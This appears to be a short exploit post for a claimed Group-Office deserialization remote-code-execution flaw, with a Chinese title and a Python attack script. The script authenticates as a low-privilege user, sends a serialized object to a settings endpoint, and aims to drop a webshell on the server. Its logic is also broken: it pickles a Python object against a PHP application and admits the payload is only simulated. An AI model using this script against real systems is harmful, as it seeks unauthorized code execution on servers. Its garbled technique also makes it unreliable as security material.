CVE-2026-34838 Group-Office反序列化导致RCE漏洞

import requests import pickle from http.cookiejar import FileCookieJar # Target configuration target_url = "http://target-group-office-url.com" username = "attacker" password = "password" login_endpoint = "/go.php/auth/login" settings_endpoint = "/go.php/settings/save" # 1. Authenticate as a low-privilege user session = requests.Session() login_data = {"username": username, "password": password} session.post(target_url + login_endpoint, data=login_data) # 2. Generate malicious payload (FileCookieJar object) # The goal is to leverage this object to write a file (e.g., webshell) # Note: Actual payload depends on the specific gadget chain in Group-Office malicious_jar = FileCookieJar("/var/www/html/group-office/rce.php") # In a real scenario, the jar content would be manipulated to contain PHP code # For demonstration purposes, we simulate the serialization process #攻击链：序列化恶意对象 -> 注入Settings -> 触发反序列化 -> 写入Webshell payload_data = pickle.dumps(malicious_jar) # 3. Inject payload into the vulnerable setting parameter exploit_data = { "setting_name": "AbstractSettingsCollection", "setting_value": payload_data # Injecting serialized object } # 4. Send the request to trigger the vulnerability response = session.post(target_url + settings_endpoint, data=exploit_data) if response.status_code == 200: print("[+] Payload sent successfully. Check for uploaded shell.") else: print("[-] Exploit failed.")
